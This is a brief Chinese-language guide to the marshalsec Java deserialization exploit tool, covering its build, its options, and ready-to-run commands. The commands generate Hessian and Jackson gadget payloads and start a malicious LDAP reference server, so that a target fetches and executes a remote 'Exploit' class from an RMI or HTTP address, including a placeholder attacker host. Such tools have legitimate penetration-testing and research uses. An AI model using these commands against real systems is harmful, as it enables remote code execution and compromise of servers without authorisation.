下载:https://github.com/mbechler/marshalsec 这个需要自己maven编译.可以直接下载别人编译好的jar
    需要jdk8

    使用: java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec. [-a] [-v] [-t] [ []]
    参数说明:

    • -a:生成exploit下的所有payload(例如:hessian下的SpringPartiallyComparableAdvisorHolder, SpringAbstractBeanFactoryPointcutAdvisor, Rome, XBean, Resin)
    • -t:对生成的payloads进行解码测试
    • -v:verbose mode, 展示生成的payloads
    • gadget_type:指定使用的payload
    • arguments - payload运行时使用的参数
    • marshalsec.:指定exploits,根目录下的java文件名

    例如: marshalsec中包含Hessian的反序列化payload,直接使用marshalsec创建LDAP的反序列化payload

    java -cp marshalsec-0.0.3.jar marshalsec.Hessian SpringPartiallyComparableAdvisorHolder “rmi://xxx:1099/Exploit_c844e9060158632367e62ed5f6103b36” > /tmp/d.payload
    生成本地 tmp下面d.payload

    1. java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/css/#ExportObject 1389
    1. java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson C3P0WrapperConnPool http://127.0.0.1/ LifExp

    rmi反序列化 利用举例
    https://www.sohu.com/a/366724418_354899

    marshalsec - 图1